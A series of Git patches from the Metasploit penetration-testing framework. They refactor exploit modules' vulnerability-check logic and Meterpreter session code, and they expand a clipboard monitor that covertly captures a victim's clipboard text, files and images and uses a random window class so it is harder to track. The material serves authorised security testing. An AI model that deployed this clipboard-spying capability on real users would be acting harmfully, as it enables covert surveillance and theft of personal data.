361d8d9ec4..a0103295ed 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -69,14 +69,14 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => "GET", 'uri' => "/zport/acl_users/cookieAuthHelper/login_form" }) - return Exploit::CheckCode::Vulnerable if res.body =~ /<p>Copyright © 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./ + return Exploit::CheckCode::Appears if res.body =~ /<p>Copyright © 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./ return Exploit::CheckCode::Detected if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/ return Exploit::CheckCode::Safe rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Unknown - + return Exploit::CheckCode::Save end def exploit diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb index 58b8b6bda2..54902a92d6 100644 --- a/modules/exploits/linux/imap/imap_uw_lsub.rb +++ b/modules/exploits/linux/imap/imap_uw_lsub.rb @@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect - if (banner =~ /IMAP4rev1 v12.264/) - return Exploit::CheckCode::Vulnerable + if (banner =~ /IMAP4rev1 v12\.264/) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb index c73a8a4f4d..8c55d1c094 100644 --- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local return CheckCode::Detected end - return CheckCode::Unknown + return CheckCode::Safe end def exploit diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb index 36032a4178..f5e2792116 100644 --- a/modules/exploits/linux/local/zpanel_zsudo.rb +++ b/modules/exploits/linux/local/zpanel_zsudo.rb @@ -51,7 +51,7 @@ class Metasploit4 < Msf::Exploit::Local return CheckCode::Detected end - return CheckCode::Unknown + return CheckCode::Safe end def exploit diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index adbecb1bbd..811509ba1e 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"") - print_status("#{rhost}:#{rport} Sending login packet to check...") + vprint_status("#{rhost}:#{rport} Sending login packet to check...") sock.put(packet) res = sock.get_once disconnect diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index f96767e3bd..814fded403 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - print_status("Checking if remote NRPE supports command line arguments") + vprint_status("Checking if remote NRPE supports command line arguments") begin # send query asking to run "fake_check" command with command substitution in arguments @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe rescue Errno::ECONNRESET => reset unless datastore['NRPESSL'] or @force_ssl - print_status("Retrying with ADH SSL") + vprint_status("Retrying with ADH SSL") @force_ssl = true retry end diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb index 17a91d77df..fdfd12d2c7 100644 --- a/modules/exploits/linux/misc/sercomm_exec.rb +++ b/modules/exploits/linux/misc/sercomm_exec.rb @@ -141,14 +141,14 @@ class Metasploit3 < Msf::Exploit::Remote case fprint when 'BE' - print_status("Detected Big Endian") + vprint_status("Detected Big Endian") return Msf::Exploit::CheckCode::Vulnerable when 'LE' - print_status("Detected Little Endian") + vprint_status("Detected Little Endian") return Msf::Exploit::CheckCode::Vulnerable end - return Msf::Exploit::CheckCode::Unknown + return Msf::Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/linux/misc/zabbix_server_exec.rb b/modules/exploits/linux/misc/zabbix_server_exec.rb index 384e496d42..95cc260886 100644 --- a/modules/exploits/linux/misc/zabbix_server_exec.rb +++ b/modules/exploits/linux/misc/zabbix_server_exec.rb @@ -82,17 +82,17 @@ class Metasploit3 < Msf::Exploit::Remote cmd = "echo #{clue}" connect - print_status("#{peer} - Sending 'Command' request...") + vprint_status("#{peer} - Sending 'Command' request...") res = send_command(sock, node_id, cmd) disconnect if res - print_status(res) + vprint_status(res) if res =~ /#{clue}/ return Exploit::CheckCode::Vulnerable elsif res =~ /-1/ and res=~ /NODE (\d*)/ node_id = $1 - print_good("#{peer} - Node ID #{node_id} discovered") + vprint_good("#{peer} - Node ID #{node_id} discovered") else return Exploit::CheckCode::Safe end @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote # Retry with the good node_id connect - print_status("#{peer} - Sending 'Command' request with discovered Node ID...") + vprint_status("#{peer} - Sending 'Command' request with discovered Node ID...") res = send_command(sock, node_id, cmd) disconnect if res and res =~ /#{clue}/ diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index eb465fbe83..66c7d88f19 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -282,7 +282,7 @@ class Metasploit3 < Msf::Exploit::Remote version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0] minor = version.scan(/\.(\d*)$/).flatten[0].to_i - print_status("Version found: #{version}") + vprint_status("Version found: #{version}") return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16 return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14 diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb index e37e619ff1..1ede0f8401 100644 --- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb +++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote ret = connect_login # We just want the banner to check against our targets.. - print_status("FTP Banner: #{banner.strip}") + vprint_status("FTP Banner: #{banner.strip}") status = Exploit::CheckCode::Safe if banner =~ /Version wu-2\.(4|5)/ status = Exploit::CheckCode::Appears diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 17e624a4f4..8c4c848762 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 and res.body.empty? - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 8fd8f46545..cea0579de2 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php") }) if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/ - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/cisco_dcnm_upload.rb b/modules/exploits/multi/http/cisco_dcnm_upload.rb index 38ad1d8c45..c68da26ec9 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload.rb @@ -88,6 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote }) unless res + vprint_error("Connection timed out") return Exploit::CheckCode::Unknown end @@ -95,19 +96,18 @@ class Metasploit3 < Msf::Exploit::Remote res.body.to_s =~ /Data Center Network Manager/ and res.body.to_s =~ /<div class="productVersion">Version: (.*)<\/div>/ version = $1 - print_status("Cisco Primer Data Center Network Manager version #{version} found") - elsif res.code == 200 and - res.body.to_s =~ /Data Center Network Manager/ + vprint_status("Cisco Primer Data Center Network Manager version #{version} found") + if version =~ /6\.1/ + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected + end + + elsif res.code == 200 and res.body.to_s =~ /Data Center Network Manager/ return Exploit::CheckCode::Detected - else - return Exploit::CheckCode::Safe end - if version =~ /6\.1/ - return Exploit::CheckCode::Vulnerable - end - - return Exploit::CheckCode::Safe + Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/multi/http/coldfusion_rds.rb b/modules/exploits/multi/http/coldfusion_rds.rb index f4fe327e7b..c9f935683a 100644 --- a/modules/exploits/multi/http/coldfusion_rds.rb +++ b/modules/exploits/multi/http/coldfusion_rds.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/ - print_good "#{peer} - Administrator access available" + vprint_good "#{peer} - Administrator access available" else return Exploit::CheckCode::Safe end @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote imghash = "596b3fc4f1a0b818979db1cf94a82220" if img == imghash - print_good "#{peer} - ColdFusion 9 Detected" + vprint_good "#{peer} - ColdFusion 9 Detected" else return Exploit::CheckCode::Safe end From e9ccec4755a09915effdeae5489801e08d5d72d8 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 21 Jan 2014 18:53:41 -0600 Subject: [PATCH 045/246] Refactor load_session_info All of this code is in sore need of some specs but I think this change makes it a bit easier to understand what it is supposed to be doing. --- lib/msf/base/sessions/meterpreter.rb | 107 ++++++++++-------- .../extensions/stdapi/net/config.rb | 3 +- 2 files changed, 63 insertions(+), 47 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 75124131d1..e40d56439d 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -303,57 +303,20 @@ class Meterpreter < Rex::Post::Meterpreter::Client safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_") self.info = safe_info - # Enumerate network interfaces to detect IP - ifaces = self.net.config.get_interfaces().flatten rescue [] - routes = self.net.config.get_routes().flatten rescue [] - shost = self.session_host + hobj = nil - # Try to match our visible IP to a real interface - # TODO: Deal with IPv6 addresses - found = !!(ifaces.find {|i| i.addrs.find {|a| a == shost } }) - nhost = nil - hobj = nil - - if Rex::Socket.is_ipv4?(shost) and not found - - # Try to find an interface with a default route - default_routes = routes.select{ |r| r.subnet == "0.0.0.0" || r.subnet == "::" } - default_routes.each do |r| - ifaces.each do |i| - # Look at each addr/netmask and see if it matches our gateway - i.addrs.zip(i.netmasks).each do |a| - bits = Rex::Socket.net2bitmask( a[1] ) - rang = Rex::Socket::RangeWalker.new( "#{a[0]}/#{bits}" ) rescue nil - if rang and rang.include?( r.gateway ) - nhost = a[0] - break - end - break if nhost - end - break if nhost - end - break if nhost - end - - # Find the first non-loopback address - if not nhost - iface = ifaces.select{|i| i.ip != "127.0.0.1" and i.ip != "::1" } - if iface.length > 0 - nhost = iface.first.ip - end - end - end + nhost = find_internet_connected_address + original_session_host = self.session_host # If we found a better IP address for this session, change it up # only handle cases where the DB is not connected here - if not (framework.db and framework.db.active) + if !(framework.db && framework.db.active) self.session_host = nhost end - # The rest of this requires a database, so bail if it's not # there - return if not (framework.db and framework.db.active) + return if !(framework.db && framework.db.active) ::ActiveRecord::Base.connection_pool.with_connection { wspace = framework.db.find_workspace(workspace) @@ -389,18 +352,18 @@ class Meterpreter < Rex::Post::Meterpreter::Client if nhost framework.db.report_note({ :type => "host.nat.server", - :host => shost, + :host => original_session_host, :workspace => wspace, :data => { :info => "This device is acting as a NAT gateway for #{nhost}", :client => nhost }, :update => :unique_data }) - framework.db.report_host(:host => shost, :purpose => 'firewall' ) + framework.db.report_host(:host => original_session_host, :purpose => 'firewall' ) framework.db.report_note({ :type => "host.nat.client", :host => nhost, :workspace => wspace, - :data => { :info => "This device is traversing NAT gateway #{shost}", :server => shost }, + :data => { :info => "This device is traversing NAT gateway #{original_session_host}", :server => original_session_host }, :update => :unique_data }) framework.db.report_host(:host => nhost, :purpose => 'client' ) @@ -475,6 +438,60 @@ protected attr_accessor :rstream # :nodoc: + # Rummage through this host's routes and interfaces looking for an + # address that it uses to talk to the internet. + # + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_interfaces + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes + # @return [String] The address from which this host reaches the + # internet, as ASCII. e.g.: "192.168.100.156" + def find_internet_connected_address + + ifaces = self.net.config.get_interfaces().flatten rescue [] + routes = self.net.config.get_routes().flatten rescue [] + + # Try to match our visible IP to a real interface + found = !!(ifaces.find { |i| i.addrs.find { |a| a == session_host } }) + nhost = nil + + # If the host has no address that matches what we see, then one of + # us is behind NAT so we have to look harder. + if !found + # Grab all routes to the internet + default_routes = routes.select { |r| r.subnet == "0.0.0.0" || r.subnet == "::" } + + default_routes.each do |route| + # Now try to find an interface whose network includes this + # Route's gateway, which means it's the one the host uses to get + # to the interweb. + ifaces.each do |i| + # Try all the addresses this interface has configured + addr_and_mask = i.addrs.zip(i.netmasks).find do |addr, netmask| + bits = Rex::Socket.net2bitmask( netmask ) + range = Rex::Socket::RangeWalker.new("#{addr}/#{bits}") rescue nil + + !!(range && range.valid? && range.include?(route.gateway)) + end + if addr_and_mask + nhost = addr_and_mask[0] + break + end + end + break if nhost + end + + if !nhost + # Find the first non-loopback address + non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" } + if non_loopback + nhost = non_loopback.ip + end + end + end + + nhost + end + end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb index d006221b30..70b1ef4d7e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb @@ -49,10 +49,9 @@ class Config get_interfaces().each(&block) end - # # Returns an array of network interfaces with each element. # - # being an Interface + # @return [Array<Interface>] def get_interfaces request = Packet.create_request('stdapi_net_config_get_interfaces') ifaces = [] From 83358fbbf0b31a1e6bfb3567ee4e5df56f515a75 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 22 Jan 2014 22:56:13 +1000 Subject: [PATCH 046/246] More work on the clipboard monitor --- .../extensions/extapi/clipboard/clipboard.rb | 129 ++++--- .../post/meterpreter/extensions/extapi/tlv.rb | 13 +- .../command_dispatcher/extapi/clipboard.rb | 316 +++++++++++------- 3 files changed, 285 insertions(+), 173 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index 5c266608dd..e6eb0e5436 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -22,8 +22,6 @@ class Clipboard # Get the target clipboard data in whichever format we can # (if it's supported). def get_data(download = false) - results = [] - request = Packet.create_request('extapi_clipboard_get_data') if download @@ -32,42 +30,7 @@ class Clipboard response = client.send_request(request) - text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) - - if text - results << { - :type => :text, - :data => text - } - end - - files = [] - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f| - files << { - :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), - :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) - } - } - - if files.length > 0 - results << { - :type => :files, - :data => files - } - end - - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| - if jpg - results << { - :type => :jpg, - :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), - :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), - :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) - } - end - end - - return results + return parse_dump(response) end # Set the target clipboard data to a text value @@ -82,11 +45,9 @@ class Clipboard end def monitor_start(opts) - # TODO: add some smarts, a separate thread, etc to download the content request = Packet.create_request('extapi_clipboard_monitor_start') request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES, opts[:files]) - request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES, opts[:images]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, opts[:cap_img]) return client.send_request(request) end @@ -95,18 +56,100 @@ class Clipboard return client.send_request(request) end + def monitor_dump(opts) + pull_img = opts[:include_images] + purge = opts[:purge] + + request = Packet.create_request('extapi_clipboard_monitor_dump') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge) + + response = client.send_request(request) + + return parse_dump(response) + end + def monitor_resume request = Packet.create_request('extapi_clipboard_monitor_resume') return client.send_request(request) end - def monitor_stop + def monitor_stop(opts) + dump = opts[:dump] + pull_img = opts[:include_images] + request = Packet.create_request('extapi_clipboard_monitor_stop') - return client.send_request(request) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img) + + response = client.send_request(request) + unless dump + return response + end + + return parse_dump(response) end attr_accessor :client +private + + def parse_dump(response) + results = [] + + texts = [] + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t| + texts << { + :ts => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + :text => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) + } + end + + if texts.length > 0 + results << { + :type => :text, + :data => texts + } + end + + files = [] + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| + files << { + :ts => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), + :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) + } + end + + if files.length > 0 + results << { + :type => :files, + :data => files + } + end + + images = [] + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| + if jpg + images << { + :ts => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), + :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), + :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) + } + end + end + + if images.length > 0 + results << { + :type => :jpg, + :data => images + } + end + + return results + end + end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 75c39cf830..95d2d73627 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35) -TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38) + +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) + TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43) @@ -40,9 +44,10 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) -TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 49) -TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) -TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) +TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) +TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52) +TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index e94866ce1b..9a417a2528 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -21,9 +21,13 @@ class Console::CommandDispatcher::Extapi::Clipboard # def commands { - "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard", - "clipboard_monitor" => "Interact with the clipboard monitor" + "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", + "clipboard_set_text" => "Write text to the victim's clipboard", + "clipboard_monitor_start" => "Start the clipboard monitor", + "clipboard_monitor_pause" => "Pause the clipboard monitor (suspends capturing)", + "clipboard_monitor_resume" => "Resume the paused clipboard monitor (resumes capturing)", + "clipboard_monitor_dump" => "Dump all captured content", + "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -67,79 +71,14 @@ class Console::CommandDispatcher::Extapi::Clipboard end } - loot_dir = download_path || "." - if not ::File.directory?( loot_dir ) - ::FileUtils.mkdir_p( loot_dir ) - end + dump = client.extapi.clipboard.get_data(download_content) - # currently we only support text values - results = client.extapi.clipboard.get_data(download_content) - - if results.length == 0 + if dump.length == 0 print_error( "The current Clipboard data format is not supported." ) return false end - results.each { |r| - case r[:type] - when :text - print_line - print_line( "Current Clipboard Text" ) - print_line( "======================" ) - print_line - print_line( r[:data] ) - - when :jpg - print_line - print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" ) - - if download_content - file = Rex::Text.rand_text_alpha(8) + ".jpg" - path = File.join( loot_dir, file ) - path = ::File.expand_path( path ) - ::File.open( path, 'wb' ) do |f| - f.write r[:data] - end - print_good( "Clipboard image saved to #{path}" ) - else - print_line( "Re-run with -d to download image." ) - end - - when :files - if download_content - loot_dir = ::File.expand_path( loot_dir ) - print_line - print_status( "Downloading Clipboard Files ..." ) - r[:data].each { |f| - download_file( loot_dir, f[:name] ) - } - print_good( "Downloaded #{r[:data].length} file(s)." ) - print_line - else - table = Rex::Ui::Text::Table.new( - 'Header' => 'Current Clipboard Files', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'File Path', 'Size (bytes)' - ] - ) - - total = 0 - r[:data].each { |f| - table << [f[:name], f[:size]] - total += f[:size] - } - - print_line - print_line(table.to_s) - - print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) - end - end - - print_line - } + parse_dump(dump, download_content, download_content, download_path) return true end @@ -169,84 +108,114 @@ class Console::CommandDispatcher::Extapi::Clipboard return true end } - - return client.extapi.clipboard.set_text(args.join(" ")) +return client.extapi.clipboard.set_text(args.join(" ")) end # - # Options for the clipboard_get_data command. + # Options for the clipboard_monitor_start command. # - @@monitor_opts = Rex::Parser::Arguments.new( + @@monitor_start_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner" ], - "-i" => [ false, "Automatically download image content" ], - "-f" => [ false, "Automatically download files" ], - "-l" => [ true, "Specifies the folder to write the clipboard loot to" ] + "-i" => [ true, "Capture image content when monitoring (default: true)" ] ) - def print_clipboard_monitor_usage() + # + # Help for the clipboard_monitor_start command. + # + def print_clipboard_monitor_start_usage() print( - "\nUsage: clipboard_monitor <start|pause|resume|stop> [-f] [-i] [-h]\n\n" + - "Starts or stops a background clipboard monitoring thread. The thread watches\n" + + "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" + + "Starts a background clipboard monitoring thread. The thread watches\n" + "the clipboard on the target, under the context of the current desktop, and when\n" + - "changes are detected the contents of the clipboard are returned to the attacker.\n\n" + - " - start - starts the clipboard monitor with the given arguments if\n" + - " the thread is not already running.\n" + - " - pause - pauses a currently running clipboard monitor thread.\n" + - " - resume - resumes a currently paused clipboard monitor thread.\n" + - " - stop - stops a currently running or paused clipboard monitor thread.\n" + - @@monitor_opts.usage + "\n") + "changes are detected the contents of the clipboard are captured. Contents can be\n" + + "dumped periodically. Image content can be captured as well (and will be by default)\n" + + "however this can consume quite a bit of memory.\n\n" + + @@monitor_start_opts.usage + "\n") end - def cmd_clipboard_monitor(*args) - args.unshift "-h" if args.length == 0 - download_files = false - download_images = false - loot_dir = nil + # + # Start the clipboard monitor. + # + def cmd_clipboard_monitor_start(*args) + capture_images = true @@set_text_opts.parse(args) { |opt, idx, val| case opt - when "-f" - download_files = true when "-i" - download_images = true - when "-l" - loot_dir = val + # default this to true + capture_images = val.downcase != 'false' when "-h" - print_clipboard_monitor_usage + print_clipboard_monitor_start_usage return true end } - case args.shift - when "start" - loot_dir = generate_loot_dir(true) unless loot_dir - print_status("Clipboard monitor looting to #{loot_dir} ...") - print_status("Download files? #{download_files ? "Yes" : "No"}") - print_status("Download images? #{download_images ? "Yes" : "No"}") - - client.extapi.clipboard.monitor_start({ - # random class and window name so that it isn't easy - # to track via a script - :wincls => Rex::Text.rand_text_alpha(8), - :loot => loot_dir, - :files => download_files, - :iamges => download_images - }) - print_good("Clipboard monitor started") - when "pause" - client.extapi.clipboard.monitor_pause - print_good("Clipboard monitor paused") - when "resume" - client.extapi.clipboard.monitor_resume - print_good("Clipboard monitor resumed") - when "stop" - client.extapi.clipboard.monitor_stop - print_good("Clipboard monitor stopped") - end + client.extapi.clipboard.monitor_start({ + # random class and window name so that it isn't easy + # to track via a script + :wincls => Rex::Text.rand_text_alpha(8), + :cap_img => capture_images + }) + print_good("Clipboard monitor started") end -protected + # + # Options for the clipboard_monitor_stop command. + # + @@monitor_stop_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" 